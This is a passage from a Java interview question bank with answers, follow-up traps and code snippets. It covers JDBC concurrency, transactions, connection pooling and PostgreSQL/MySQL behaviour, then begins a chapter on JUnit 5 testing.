Read-modify-write in application code races. Make the write atomic in the DB, or lock/validate.

```
// atomic and safe
String sql = "update account set balance = balance - ? where id = ? and balance >= ?";
int n = ps.executeUpdate();   // 0 -> insufficient funds
```

- Alternatives: `SELECT ... FOR UPDATE` before reading, optimistic `version` column, or `SERIALIZABLE` with retry.
- READ COMMITTED does not stop the lost update for the read-then-write pattern; PostgreSQL REPEATABLE READ aborts the second writer with a serialization error.

FOLLOW-UP TRAPS

- **Does wrapping both steps in a transaction fix it at READ COMMITTED?** No, both read the same old value.
- **Does MySQL REPEATABLE READ prevent it?** Not with a plain read followed by update; locking read or atomic update is needed.

#lost-update #concurrency #locking

Q75 A report run twice in one transaction returns different totals. Which isolation level problem is it, and how do you fix it? BASIC

This is a non-repeatable read (or phantoms for newly inserted rows) at READ COMMITTED: each statement sees the latest committed data. Use REPEATABLE READ (snapshot per transaction) or run the report on a consistent snapshot.

```
c.setAutoCommit(false);
c.setTransactionIsolation(Connection.TRANSACTION_REPEATABLE_READ);
c.setReadOnly(true);
```

- Keep such snapshot transactions short; long ones hold old versions, delaying vacuum/purge (PostgreSQL bloat, InnoDB history list growth).
- Better: compute all numbers in one SQL statement, which is consistent at any level.

FOLLOW-UP TRAPS

- **Does a single statement see a consistent view at READ COMMITTED?** Yes in PostgreSQL/Oracle (statement-level snapshot).
- **Does MySQL REPEATABLE READ show phantoms for plain SELECTs?** No, only for locking reads or after own writes.

#isolation #non-repeatable-read

Q76 Under SERIALIZABLE in PostgreSQL, requests fail with `could not serialize access` sporadically. What does that mean?

ADVANCED

SQLState `40001`: the SSI (serializable snapshot isolation) engine detected a dependency cycle that would break serializable behaviour and aborted one transaction. It is expected and the application must retry the whole transaction.

- Keep transactions small and read-only ones flagged (`setReadOnly(true)` with `DEFERRABLE` avoids aborts).
- Retry with backoff; keep the count of retries bounded.
- MySQL SERIALIZABLE instead turns plain reads into locking reads, increasing lock waits and deadlocks.

FOLLOW-UP TRAPS

- **Is the failure a bug in the app?** No, it is the contract of serializable isolation.
- **Does retrying the commit alone help?** No, rerun the full transaction body.

#serializable #postgresql #retry

Q77 Two transactions each check `if not exists` then insert the same unique key. What happens?

INTERMEDIATE

Both checks pass, then one insert fails with a unique violation (SQLState `23505` / MySQL 1062). The check-then-insert is racy; rely on the unique constraint as the single arbiter and handle the violation.

```
insert into users(email, name) values (?, ?)
on conflict (email) do nothing;          -- PostgreSQL
-- MySQL: insert ignore ... / on duplicate key update ...
```

- `executeUpdate()` returning 0 means the row already existed; then select it.
- Catch `SQLIntegrityConstraintViolationException` and translate it to a domain "already exists" error.
- In PostgreSQL a failed insert aborts the transaction unless using `ON CONFLICT` or a savepoint.

FOLLOW-UP TRAPS

- **Does `SERIALIZABLE` solve it without a constraint?** It can abort one, but the constraint is simpler and cheaper.
- **Is `insert ignore` safe?** It also ignores other errors (truncation), so prefer `on duplicate key update`.

#race-condition #unique-constraint #upsert

Q78 A client times out calling `commit()` and retries the payment, causing duplicates. What went wrong and how do you fix it?

ADVANCED

A timeout or connection loss during `commit()` leaves the outcome unknown: the transaction may have committed. Blind retry duplicates the effect. Make the operation idempotent with a client-supplied idempotency key stored under a unique constraint within the same transaction.

```
insert into payments(idempotency_key, order_id, amount)
values (?, ?, ?) on conflict (idempotency_key) do nothing;
```

- On retry, if the key exists, return the previously stored result.
- After an unknown commit outcome, query by key before repeating.

FOLLOW-UP TRAPS

- **Can the driver tell you if the commit happened?** No; the connection is gone or the response was lost.
- **Is a random UUID generated per attempt idempotent?** No; the key must be stable across retries.

#idempotency #commit #retry

Q79 An UPDATE through JDBC returns 0 rows affected, but no exception is thrown. How should the code react? BASIC

`0` means no rows matched: wrong id, a stale `version`, or a precondition (`status = 'NEW'`) no longer true. Zero is not an error for JDBC, so you must check it and decide: raise not-found, concurrent-modification, or an idempotent no-op.

- Treating 0 as success silently drops writes (e.g. optimistic lock failure ignored).
- For MySQL, `useAffectedRows=true` changes the semantic to rows actually changed, so a same-value update returns 0.
- Check array counts of a batch for `SUCCESS_NO_INFO` (-2) and `EXECUTE_FAILED` (-3).

FOLLOW-UP TRAPS

- **Why does a same-value update return 0 on MySQL sometimes?** With `useAffectedRows=true` unchanged rows are not counted.
- **Does the update count include rows updated by triggers?** Generally no.

#executeupdate #error-handling

Q80 `getGeneratedKeys()` returns an empty ResultSet or the wrong column on Oracle. Why? INTERMEDIATE

The statement was prepared without requesting the key column, so Oracle returns the `ROWID` (or nothing). Prepare with the column names array so the driver adds `RETURNING id INTO ?`.

```
PreparedStatement ps = c.prepareStatement(
    "insert into orders(customer_id) values (?)", new String[] {"ID"});
```

- Identity columns (12c+) and sequences with triggers both work this way.
- PostgreSQL and MySQL work with `RETURN_GENERATED_KEYS`; with MySQL batch rewriting the keys may be partially available.
- Using `select max(id)` afterward is unsafe under concurrency.

FOLLOW-UP TRAPS

- **Is `RETURN_GENERATED_KEYS` ignored by Oracle?** Often yes, returning ROWID, so pass the column names.
- **What if the table uses a sequence called in the insert?** Still request the column by name.

#generated-keys #oracle

Q81 How do you apply savepoints so a failing optional step does not abort the whole transaction? INTERMEDIATE

Set a savepoint before the optional step, roll back to it on failure, and continue; commit at the end persists the main work and skips the optional work.

```
c.setAutoCommit(false);
insertOrder(c, order);
Savepoint sp = c.setSavepoint("loyalty");
try {
    awardPoints(c, order);
} catch (SQLException e) {
    c.rollback(sp);
}
c.commit();
```

- Release savepoints in loops (`releaseSavepoint`) to avoid resource buildup; PostgreSQL subtransactions beyond 64 per transaction degrade performance.
- Spring `NESTED` propagation does the same with `DataSourceTransactionManager`.

FOLLOW-UP TRAPS

- **Does rolling back to a savepoint release locks acquired after it?** Typically yes for row locks taken in the rolled-back part (engine specific).
- **Does a savepoint help with a connection failure?** No.

#savepoint #partial-rollback

Q82 How do you avoid an N+1 pattern when loading orders with their items via plain JDBC? INTERMEDIATE

Load orders in one query, then load all items for those order ids in a second query and group in memory; or use a single LEFT JOIN and fold rows into aggregates while iterating.

```
Map<Long, Order> byId = new LinkedHashMap<>();
String sql = "select o.id, o.status, i.sku from orders o left join order_items i on i.order_id =
o.id where o.id = any (?)";
// for each row: byId.computeIfAbsent(rs.getLong("id"), ...).addItem(rs.getString("sku"))
```

- 2 queries total instead of N+1; with the join approach LIMIT applies to joined rows, so page parents in a subquery first.
- Verify with a statement counter in tests (datasource-proxy `assertSelectCount`).

FOLLOW-UP TRAPS

- **Why does LIMIT 10 over a join return fewer than 10 orders?** It limits joined rows, not parents.
- **When is the join approach worse?** Wide parents with many children duplicate parent data.

#n+1 #join #mapping

Q83 A reader loops over a `ResultSet` and runs a query per row; it takes 20 minutes for 100k rows. How do you speed it up? INTERMEDIATE

100k round trips at ~0.2 ms is 20 s of network alone; the rest is per-query overhead and server work. Replace per-row lookups with set-based queries: join, `IN` / `ANY` in chunks of 500-1000, or load a lookup map once.

- Reuse a single `PreparedStatement` at least, so parse cost is paid once.
- For per-row updates use `addBatch` / `executeBatch` rather than `executeUpdate` per row.
- Consider whether the logic can run entirely in SQL (`UPDATE ... FROM`, `INSERT ... SELECT`).

FOLLOW-UP TRAPS

- **Does a faster network fix it?** It reduces the constant, not the O(N) round trips.
- **Is a thread pool the answer?** It adds parallelism but increases DB load and connection use.

#n+1 #batch #performance

Q84 A `ResultSet` is returned from a DAO method inside try-with-resources and the caller gets `ResultSet is closed`. Why? BASIC

Exiting try-with-resources closes the `Statement` and `Connection`, which closes the `ResultSet` before the caller iterates. The DAO must map rows to objects (or take a callback/`RowMapper`) inside the scope.

```
public List<User> findAll() throws SQLException {
    List<User> out = new ArrayList<>();
    try (Connection c = ds.getConnection();
         PreparedStatement ps = c.prepareStatement("select id, name from users");
         ResultSet rs = ps.executeQuery()) {
        while (rs.next()) { out.add(new User(rs.getLong(1), rs.getString(2))); }
    }
    return out;
}
```

- This is what `JdbcTemplate.query(sql, rowMapper)` does for you.

FOLLOW-UP TRAPS

- **Could you keep the connection open for the caller?** Possible but then the caller owns resource cleanup, causing leaks.
- **Is it valid to return a `CachedRowSet` instead?** Yes, it is disconnected, but heavy.

#resultset #lifecycle

Q85 A `Statement` reused in a nested loop closes the outer `ResultSet` mid-iteration. Why? BASIC

Executing a second query on the same `Statement` closes its existing `ResultSet` (JDBC spec). The outer loop's next call to `rs.next()` fails with `ResultSet closed`.

- Use a separate statement per concurrently open result set.
- Better, avoid nested queries: use a join or a second set-based query.
- MySQL streaming and some drivers also restrict multiple open cursors per connection.

FOLLOW-UP TRAPS

- **Does re-executing a `PreparedStatement` with different parameters also close it?** Yes, same rule.
- **Do different statements on one connection share a transaction?** Yes, they share the connection's transaction.

#resultset #statement

Q86 `ps.setObject(1, null)` fails on PostgreSQL with `Can't infer the SQL type`. Why? INTERMEDIATE

Without a value the driver cannot determine the parameter type, and PostgreSQL requires it for planning. Provide a type: `setNull(1, Types.VARCHAR)` or `setObject(1, null, Types.VARCHAR)`.

- In dynamic filters (`where (? is null or col = ?)`) the type of the first `?` is unknown; add casts: `(?::text is null or col = ?)`.
- That pattern also kills index use, since the plan is generic; build the SQL conditionally instead.

FOLLOW-UP TRAPS

- **Is `setString(1, null)` enough?** Yes, it carries the type VARCHAR.
- **Is `(? is null or col = ?)` performant?** Often not; generate predicates only for provided filters.

#null #preparedstatement #postgresql

Q87 A long-running query must be abandoned when the HTTP client disconnects. How? ADVANCED

Call `Statement.cancel()` from another thread; the driver sends a cancel request (PostgreSQL via a new connection and the backend PID, MySQL via `KILL QUERY`), and the executing thread receives `SQLException` (e.g. SQLState `57014`). Combine with `setQueryTimeout` as a hard cap.

- `cancel()` is the only statement method safe to call across threads.
- Interrupting the Java thread does not stop the server query, because JDBC I/O is not interruptible.
- Servers also support `statement_timeout` / `max_execution_time` to bound runaway queries regardless of the client.

FOLLOW-UP TRAPS

- **Does `Thread.interrupt()` cancel a running query?** No, the blocking socket read ignores interrupts.
- **Does cancel guarantee instant stop?** No, the server stops at the next check.

#cancel #timeouts #statement

Q88 PgBouncer in transaction mode causes `prepared statement "S_1" does not exist`. What now? ADVANCED

Server-side prepared statements live on a backend connection; in transaction pooling, consecutive transactions may use different backends, so a handle prepared earlier is missing. Disable server prepares in the driver with `prepareThreshold=0`, or use PgBouncer 1.21+ with `max_prepared_statements` set.

```
jdbc:postgresql://pgbouncer:6432/app?prepareThreshold=0
```

- Other session features also break: `SET` (without `LOCAL`), advisory locks, `LISTEN/NOTIFY`, temp tables.
- Alternatively use session pooling mode with a smaller app pool.

FOLLOW-UP TRAPS

- **Will `preparedStatementCacheQueries=0` alone fix it?** Not reliably; `prepareThreshold=0` is the key setting.
- **Is client-side `PreparedStatement` still safe from SQL injection with `prepareThreshold=0`?** Yes, parameters are still sent separately via protocol.

#pgbouncer #preparedstatement #postgresql

Q89 A queue of jobs is polled by 5 workers with `select ... limit 1`. Jobs are processed twice. How do you fix it? ADVANCED

Workers read the same row before any marks it. Claim jobs atomically with `FOR UPDATE SKIP LOCKED` (or an `UPDATE ... RETURNING` claim) in a short transaction, mark them `RUNNING`, commit, then process.

```
update jobs set status = 'RUNNING', worker = ?
where id = (select id from jobs where status = 'NEW'
            order by id limit 1 for update skip locked)
returning id, payload;
```

- Add a lease timestamp and a reaper for crashed workers.
- Processing should be idempotent (at-least-once semantics).
- Do not hold the lock during processing; it would keep the connection busy.

FOLLOW-UP TRAPS

- **Does `SKIP LOCKED` provide exactly-once?** No; with crashes you still get at-least-once.
- **MySQL 5.7?** No `SKIP LOCKED` (8.0+); use an atomic `UPDATE ... LIMIT 1` claim.

#queue #skip-locked #concurrency

Q90 `leakDetectionThreshold` logs a stack trace for a batch job every night. Is it a leak? INTERMEDIATE

Not necessarily. The warning means the connection was held longer than the threshold, which fits a legitimately long job. Verify whether the connection is later returned ("Previously reported leaked connection ... was returned to the pool").

- Run long jobs on a separate `DataSource` with leak detection disabled or a higher threshold.
- If it is never returned, the stack trace shows the borrowing site to fix.
- Check whether the long hold is justified; chunking the job into shorter transactions frees connections.

FOLLOW-UP TRAPS

- **Should batch and online traffic share one pool?** Better to isolate, so the job cannot starve requests.
- **Does the warning stack show where the code is stuck now?** No, where it borrowed the connection.

#leak #hikaricp #batch

Q91 How do you read the output of `pg_stat_activity` to find a stuck application? ADVANCED

Filter by `application_name`/client address and look at `state`, `state_change`, `xact_start`, `wait_event` and `query`. Many `idle in transaction` rows with old `xact_start` mean the app opened transactions and stopped sending statements: leaks or remote calls inside transactions.

```
select pid, state, now() - xact_start as xact_age, wait_event_type, wait_event, left(query, 80)
from pg_stat_activity
where datname = 'app' order by xact_start nulls last;
```

- `wait_event_type = Lock` shows blocked sessions; `pg_blocking_pids(pid)` shows the blocker.
- Mitigate with `idle_in_transaction_session_timeout` so DB kills leaked transactions.
- Set `ApplicationName` in the JDBC URL to identify the service.

FOLLOW-UP TRAPS

- **Does `idle` (not in transaction) indicate a problem?** No, that is a healthy pooled connection.
- **Why are idle-in-transaction sessions dangerous?** They hold locks and block vacuum.

#postgresql #debugging #idle-in-transaction

Q92 Why can a connection hold a lock after the Java code finished with a request? INTERMEDIATE

Locks last until the transaction ends. If code did `setAutoCommit(false)`, wrote rows, and returned the connection without `commit()` or `rollback()` (exception path), the transaction may stay open, so row locks persist and other sessions block.

- HikariCP rolls back uncommitted work on return when auto-commit is false (`isolateInternalQueries` aside), but other pools or raw usage may not.
- Always commit or roll back explicitly, and prefer frameworks managing transaction boundaries.
- Detect with `pg_locks`/`pg_stat_activity` or `information_schema.innodb_trx`.

FOLLOW-UP TRAPS

- **Does Oracle roll back on close?** No, Oracle commits on normal `close()` of a connection with pending work.
- **Can an idle connection block others?** Yes, when holding row locks.

#transactions #locks #leak

Q93 An endpoint becomes slow only when the Hikari pool is under contention. How do you prove connection acquisition is the bottleneck? ADVANCED

Compare `hikaricp_connections_acquire_seconds` (wait to get a connection) with `hikaricp_connections_usage_seconds` (hold time) and `hikaricp_connections_pending`. If acquire time is large and pending threads are non-zero, requests queue for connections.

- Then decide: reduce hold time (shorter transactions, indexes), raise pool size within DB limit, or add instances.
- If acquire time is near zero and queries are slow, the bottleneck is in the DB or network.
- Add percentile timers rather than averages; tail latency exposes queueing.

FOLLOW-UP TRAPS

- **Why not just watch `active` count?** It shows saturation but not whether requests waited.
- **What does `connections_timeout_total` measure?** The count of failed acquisitions after `connectionTimeout`.

#hikaricp #metrics #debugging

Q94 Wrapping a CLOB read in a try-with-resources and returning the `Clob` fails later. Why? INTERMEDIATE

`Clob` / `Blob` are locators tied to the connection/transaction. After the connection is returned or the `ResultSet` closed, reading raises `SQLException` (invalid LOB locator, or "Large Objects may not be used in auto-commit mode" in PostgreSQL). Read the content inside the scope.

```
String text = rs.getString("body");          // small text
// or stream large content
try (Reader r = rs.getCharacterStream("body")) { r.transferTo(writer); }
```

- Use `Clob.free()` / `Blob.free()` to release resources early (JDBC 4).
- For big objects, copy to a stream or file inside the transaction.

FOLLOW-UP TRAPS

- **Why does PostgreSQL complain about auto-commit?** Large Objects (`oid`) require a transaction.
- **Does `getString` work on a CLOB?** In most drivers yes, loading all into memory.

#lob #clob #lifecycle

Q95 A report uses `select count(*)` before every paginated query and is slow on a 50M row table. Options? INTERMEDIATE

Exact `count(*)` scans an index or the table (PostgreSQL has no cached count; MVCC), so it costs O(n). Options: avoid the total (show "next page" only), use an approximate count (`pg_class.reltuples` , `EXPLAIN` estimate), cap it (`select count(*) from (select 1 from t where ... limit 10001)`), or maintain a counter table.

- Use keyset pagination for deep pages.
- Cache totals for popular filters for a short TTL.
- Make sure filters are covered by an index so count can use an index-only scan.

FOLLOW-UP TRAPS

- **Is `count(1)` faster than `count(*)` ?** No, they are equivalent.
- **Does MyISAM differ?** It stores an exact row count, but InnoDB does not.

#pagination #count #performance

Q96 Hikari logs `Failed to validate connection ... (This connection has been closed.)` followed by a new connection. Is it a problem? INTERMEDIATE

Not by itself. It means Hikari's borrow-time check found a dead connection (idle too long, killed by firewall or DB), discarded it and opened another; callers did not see an error. Frequent warnings point to a `maxLifetime` /idle timeout mismatch.

- Lower `maxLifetime` under the network/server idle limit and add `keepaliveTime` .
- If errors still reach callers, those connections died in-flight (DB restart, network drop): add retries.
- Warnings that coincide with a DB restart are expected.

FOLLOW-UP TRAPS

- **Does Hikari validate every borrow?** No, skips if the connection was used within 500 ms.
- **Does this prove a driver bug?** No; usually infrastructure timeouts.

#hikaricp #validation #stale-connection

Q97 A virtual-thread (Java 21) service sees `pool exhausted` under high concurrency. Why?

ADVANCED

Virtual threads make it cheap to have tens of thousands of concurrent requests, but connections remain scarce; all of them still queue for the same bounded pool. JDBC calls block (cheaply, unpinning in newer drivers) but hold the connection throughout.

- Pool size should be driven by DB capacity, not thread count; keep `connectionTimeout` small and shed load.
- Older drivers using `synchronized` around I/O pin carrier threads (JDK 21); update drivers or use `-Djdk.tracePinnedThreads`.
- Limit concurrency to DB-bound work with a `Semaphore` so queues form before the pool.

FOLLOW-UP TRAPS

- **Do virtual threads remove the need for pooling?** No; they remove the thread bottleneck, not the connection one.
- **Does a bigger pool help with 10k virtual threads?** Only up to DB capacity.

#virtual-threads #pool-exhausted #java21

Q98 A migration adds a column while the app runs and queries fail with `cached plan must not change result type`. What's going on?

ADVANCED

The PostgreSQL driver cached a server-side prepared statement (e.g. `select * from t`) whose result shape changed after `ALTER TABLE`. The server rejects the stale plan. The driver auto-retries only outside a transaction; within one the error surfaces.

- Avoid `select *`; list columns explicitly so the shape is stable.
- Roll connections after DDL (restart or let `maxLifetime` recycle), or use backward-compatible deploy sequencing.
- Setting `prepareThreshold=0` avoids server-side caching at some performance cost.

FOLLOW-UP TRAPS

- **Does adding a nullable column break explicit-column queries?** No, their result type stays the same.
- **Would the error happen with MySQL?** Not in this form.

#postgresql #statement-cache #schema-change

Q99 A report query returns incorrect currency totals like 0.30000000000000004. What is wrong?

BASIC

Values were read as `double` (`rs.getDouble`) or the column is `FLOAT/DOUBLE`, so binary floating-point error appears when summing. Store money as `NUMERIC(p,s)` and read with `getBigDecimal`.

```
BigDecimal total = BigDecimal.ZERO;
while (rs.next()) { total = total.add(rs.getBigDecimal("amount")); }
```

- Let the DB do `sum(amount)` over `NUMERIC` (exact).
- Choose rounding mode explicitly (`setScale(2, RoundingMode.HALF_EVEN)`).
- Alternatively store minor units as `BIGINT` cents.

FOLLOW-UP TRAPS

- **`new BigDecimal(0.1)` vs `BigDecimal.valueOf(0.1)`?** The first captures binary error (0.1000000000000000055...), the second uses the string form.
- **Does `NUMERIC` without precision limit digits?** In PostgreSQL it is arbitrary precision.

#bigdecimal #types #money

Q100 A read-only reporting endpoint hits the primary and slows OLTP. How can JDBC route it to a replica? ADVANCED

Use a separate `DataSource` for the replica (explicit routing, or Spring `AbstractRoutingDataSource` keyed by `@Transactional(readOnly = true)`), or a driver feature such as MySQL `jdbc:mysql:replication://` with `setReadOnly(true)`, or PostgreSQL `targetServerType=preferSecondary`.

- Replication lag means reads may be stale: do not read-your-writes from a replica without safeguards.
- Pools must be sized separately per target.
- Route by transaction (not statement) so a transaction never mixes both.

FOLLOW-UP TRAPS

- **Does `setReadOnly(true)` alone move queries to the replica?** Only with a driver/proxy that implements routing.
- **Can a replica serve a just-committed write?** Not reliably; lag exists.

#replica #read-only #routing

Q101 A service retries a transaction on every SQLException three times. What's wrong with that policy? INTERMEDIATE

Non-transient errors (syntax, constraint violation, permission, data truncation) will never succeed and retries only add load and delay. Retries must be selective and bounded, using exception class or SQLState: deadlock/serialization (`40001`, `40P01`), connection (`08xxx`), and lock timeouts.

```
static boolean retryable(SQLException e) {
    String s = e.getSQLState();
    return e instanceof SQLTransientException || e instanceof SQLRecoverableException
        || (s != null && (s.startsWith("08") || s.equals("40001") || s.equals("40P01")));
}
```

- Add exponential backoff with jitter and a max elapsed time.
- Ensure idempotency; never retry inside a nested transaction.

FOLLOW-UP TRAPS

- **Should unique violations be retried?** No, except to switch to an update/read path.
- **Do retries amplify outages?** Yes (retry storms); cap attempts and use circuit breakers.

#retry #sqlexception #design

Q102 After switching from MySQL to PostgreSQL, a query with `select * from t where flag = 1` fails. Why? BASIC

PostgreSQL has a real `boolean` type and does not implicitly cast integers to boolean, giving `operator does not exist: boolean = integer`. Use `where flag = true` or bind with `setBoolean`. MySQL treats `BOOLEAN` as `TINYINT(1)`.

- Other portability traps: identifier case (PostgreSQL folds unquoted names to lower case), `LIMIT` vs `FETCH FIRST`, `AUTO_INCREMENT` vs identity/sequences, string comparison case sensitivity, empty string vs NULL in Oracle.
- Use JDBC escape syntax or an abstraction only when needed; test against the real engine (Testcontainers).

FOLLOW-UP TRAPS

- **Is `where flag = 1` OK in Oracle?** Oracle has no SQL boolean column type, so numeric flags are common.
- **Does H2 in MySQL mode equal MySQL?** No, only approximates it.

#portability #types #postgresql

Q103 How does a DataSource-level proxy help detect JDBC problems such as N+1 or slow queries in tests and production? INTERMEDIATE

Libraries like datasource-proxy, p6spy or Hibernate statistics wrap the `DataSource` and intercept every `Statement`, so you can log SQL with bound values and timings, count statements per test, and warn on slow queries.

- In tests assert query counts (`assertSelectCount(1)`) to stop N+1 regressions.
- In production sample slow queries; avoid logging parameters with PII.
- Combine with `pg_stat_statements`/performance schema for server-side timing.
- Cost is small but non-zero; keep verbose logging off by default.

FOLLOW-UP TRAPS

- **Does enabling `hibernate.show_sql` show bound values?** No, only `?` placeholders.
- **Is the proxy aware of time spent waiting for a connection?** No; use pool metrics for that.

#observability #datasource-proxy #p6spy

Q104 A CallableStatement call to a PostgreSQL function returning a refcursor returns no rows. Why? ADVANCED

Refcursors are only valid within a transaction, so auto-commit must be off; the cursor must be registered as `Types.REF_CURSOR` (or `Types.OTHER`) and read via `getObject`, cast to `ResultSet`.

```
c.setAutoCommit(false);
try (CallableStatement cs = c.prepareCall("{? = call list_orders(?)}")) {
    cs.registerOutParameter(1, Types.REF_CURSOR);
    cs.setLong(2, customerId);
    cs.execute();
    try (ResultSet rs = (ResultSet) cs.getObject(1)) { while (rs.next()) { /* map */ } }
}
```

- With auto-commit the cursor closes at statement end, so reading fails or gives nothing.
- PostgreSQL 11+ procedures use `CALL` and `OUT` parameters; set `escapeSyntaxCallMode=callIfNoReturn` as needed.

FOLLOW-UP TRAPS

- **Do functions and procedures behave the same in PostgreSQL?** No; functions are invoked with `SELECT`, procedures with `CALL`.
- **Why must the cursor be read before commit?** Commit closes the cursor.

#callablestatement #postgresql #refcursor

Q105 A job reads a huge table and updates each row; after a few minutes the DB shows bloated tables and the job slows down. What is happening? ADVANCED

A single long transaction (or a streaming read with auto-commit off) pins an old snapshot; PostgreSQL vacuum cannot remove dead row versions newer than it, and InnoDB's undo history grows, so bloat and slowdowns appear. Updating every row in one transaction also creates massive WAL/undo.

- Process in chunks with keyset pagination and commit per chunk (e.g. 1000-5000 rows).
- Use a read-only cursor on one connection and a separate connection to write in batches.
- Run heavy jobs off-peak and monitor `xact_start` / `history list length`.

FOLLOW-UP TRAPS

- **Does `autoVacuum` fix it during the transaction?** No; dead tuples visible to the old snapshot cannot be removed.
- **Is a read-only long transaction harmless?** Not for MVCC cleanup; it still holds the snapshot.

#long-transaction #mvcc #batch

CORE JAVA · CHAPTER 12

Java Testing (JUnit, Mockito)

Test pyramid, JUnit 5, AssertJ, Mockito, test doubles, TDD, Spring Boot test slices, Testcontainers, contract testing, flaky tests, concurrency and time testing, coverage and mutation testing.

108 questions **32** basic **51** intermediate **25** advanced

Theory

Q1 What is the test pyramid and why does it matter? BASIC

The pyramid says to have many fast, isolated unit tests, fewer integration tests and very few end-to-end tests. Cost, run time and flakiness grow as you go up, while precision of failure location drops.

- Unit: one class, collaborators doubled, milliseconds.
- Integration: real wiring with DB, HTTP or messaging, seconds.
- E2E/UI: whole deployed system, slow and brittle.
- Variants: the "testing trophy" favours integration tests; the "ice cream cone" (mostly manual/E2E) is the anti-pattern.

FOLLOW-UP TRAPS

- **Is the pyramid a fixed ratio?** No, it is a heuristic about cost and feedback speed. Microservices often shift weight toward integration and contract tests.
- **Where do contract tests sit?** Between integration and E2E, replacing many cross-service E2E tests.

#test-pyramid #strategy

Q2 What distinguishes a unit test from an integration test? BASIC

A unit test exercises one unit in isolation with no I/O, no network and no framework startup. An integration test verifies that several real components cooperate, such as a repository with a real database.

- Unit tests should run in-process in milliseconds and be deterministic.
- "Unit" is defined by behaviour, not necessarily one class; the London school mocks collaborators, the Detroit/classicist school uses real ones when cheap.
- Maven convention: Surefire runs `*Test`, Failsafe runs `*IT` in the `verify` phase.

FOLLOW-UP TRAPS

- **Is a test that uses `@SpringBootTest` a unit test?** No, it loads a context and is an integration test even if it mocks everything.
- **Does one class per test make it a unit test?** Not if it hits a real DB or the clock.

#unit-test #integration-test

Q3 Describe the JUnit 5 architecture. BASIC

JUnit 5 = JUnit Platform (launches tests, `TestEngine` SPI) + JUnit Jupiter (the new programming and extension model) + JUnit Vintage (runs JUnit 3/4 tests on the platform).

- Package is `org.junit.jupiter.api`; tests may be package-private.
- Other engines (Spock, ArchUnit, Cucumber) plug in through the same platform.
- Requires Java 8+; Spring Boot 3 starters bring Jupiter by default and no longer ship Vintage.

FOLLOW-UP TRAPS

- **Do JUnit 4 `@RunWith` and `@Rule` work in Jupiter?** No. Use `@ExtendWith` and extensions; Vintage engine is needed to run old tests.
- **Must test classes and methods be public?** No, package-private is enough and preferred.

#junit5 #architecture

Q4 Explain the JUnit 5 lifecycle annotations and their order. BASIC

`@BeforeAll` once before all tests, `@BeforeEach` before every test, then the test, `@AfterEach`, and finally `@AfterAll`. A new test class instance is created per test method by default.

- `@BeforeAll`/`@AfterAll` must be `static` unless `@TestInstance(Lifecycle.PER_CLASS)` is used.
- Superclass `@BeforeEach` runs before the subclass one; `@AfterEach` runs in reverse.
- Replaces JUnit 4 `@Before`, `@BeforeClass`, `@After`, `@AfterClass`.

FOLLOW-UP TRAPS

- **Does instance state leak between tests by default?** No, each test gets a fresh instance; with `PER_CLASS` it does leak.
- **Can `@BeforeAll` be non-static?** Only with `PER_CLASS` lifecycle.

#junit5 #lifecycle

Q5 How do assertAll and assertThrows work? BASIC

`assertAll` runs all grouped assertions and reports every failure together instead of stopping at the first. `assertThrows(Type.class, executable)` passes if the executable throws that type or a subtype and returns the exception for further checks.

```
@Test
void rejectsNegativeAmount() {
    var ex = assertThrows(IllegalArgumentException.class,
        () -> new Money(-1, "USD"));
    assertAll("money error",
        () -> assertTrue(ex.getMessage().contains("negative")),
        () -> assertNull(ex.getCause()));
}
```

- `assertThrowsExactly` demands the exact type, not a subtype.
- `assertTimeout` waits for completion; `assertTimeoutPreemptively` aborts in another thread.

FOLLOW-UP TRAPS

- **Does `assertThrows(Exception.class, ...)` accept a `RuntimeException`?** Yes, subtypes pass. Use `assertThrowsExactly` for strictness.
- **Argument order of `assertEquals`?** `(expected, actual)`; swapping gives misleading failure messages.

#junit5 #assertions

Q6 How do parameterized tests work in JUnit 5? INTERMEDIATE

`@ParameterizedTest` plus a source annotation runs the same method with many inputs, each as its own reported invocation. It needs the `junit-jupiter-params` artifact (included in `junit-jupiter`).

- Sources: `@ValueSource`, `@EnumSource`, `@CsvSource`, `@CsvFileSource`, `@MethodSource`, `@ArgumentsSource`, `@NullAndEmptySource`.
- `@MethodSource` factory is static (unless `PER_CLASS`) and returns `Stream<Arguments>`.
- `name = "{index}: {0} -> {1}"` customizes display names.
- Implicit conversion handles String to enum, numbers, dates; `@ConvertWith` for custom.

FOLLOW-UP TRAPS

- **Can `@ValueSource` supply multiple arguments?** No, one argument per invocation; use `@CsvSource` or `@MethodSource`.
- **Does a failing row stop the others?** No, each invocation is independent.

#junit5 #parameterized

Q7 What is a JUnit 5 extension and how does it compare to JUnit 4 runners and rules? INTERMEDIATE

Extensions implement callback interfaces such as `BeforeEachCallback`, `ParameterResolver`, `TestExecutionExceptionHandler` and `ExecutionCondition`, and are registered with `@ExtendWith`. Unlike JUnit 4, you can combine many extensions on one class.

- Registration: declarative `@ExtendWith`, programmatic `@RegisterExtension` field, or automatic via `ServiceLoader` (enable `junit.jupiter.extensions.autodetection.enabled`).
- `MockitoExtension`, `SpringExtension`, `@TempDir` and `TestInfo` injection all use this model.
- Use the `ExtensionContext.Store` for per-test or per-class state.

FOLLOW-UP TRAPS

- **Can you have two `@RunWith` runners in JUnit 4?** No, only one; that limitation is why extensions exist.
- **Is extension order guaranteed?** Declared order via `@ExtendWith`; with `@RegisterExtension` use `@Order`.

#junit5 #extensions

Q8 How do you write a custom ParameterResolver? ADVANCED

Implement `ParameterResolver` with `supportsParameter` and `resolveParameter`, then register it. JUnit calls it for constructor and method parameters that it does not resolve itself.

```
class RandomPortResolver implements ParameterResolver {
    public boolean supportsParameter(ParameterContext p, ExtensionContext c) {
        return p.getParameter().getType() == int.class
            && p.isAnnotated(RandomPort.class);
    }
    public Object resolveParameter(ParameterContext p, ExtensionContext c) {
        try (var s = new java.net.ServerSocket(0)) { return s.getLocalPort(); }
        catch (java.io.IOException e) { throw new RuntimeException(e); }
    }
}
```

FOLLOW-UP TRAPS

- **What if two resolvers support the same parameter?** JUnit throws `ParameterResolutionException` for ambiguity.
- **Can it inject into `@BeforeEach` methods?** Yes, any lifecycle or test method.

#junit5 #extensions #parameter-resolver

Q9 What are @Nested tests and when are they useful? INTERMEDIATE

`@Nested` marks a non-static inner class as a group of tests that shares the outer context, so you can express "given X, when Y, then Z" hierarchies with layered `@BeforeEach` setup.

- Outer `@BeforeEach` runs before the inner one for each inner test.
- Inner classes must be non-static; static members were not allowed before Java 16.
- Pair with `@DisplayName` for readable reports.

FOLLOW-UP TRAPS

- **Does `@BeforeAll` work in a `@Nested` class?** Only with `PER_CLASS` lifecycle (or static members on Java 16+).
- **Does a nested class see outer fields?** Yes, it holds a reference to the outer instance.

#junit5 #nested #structure

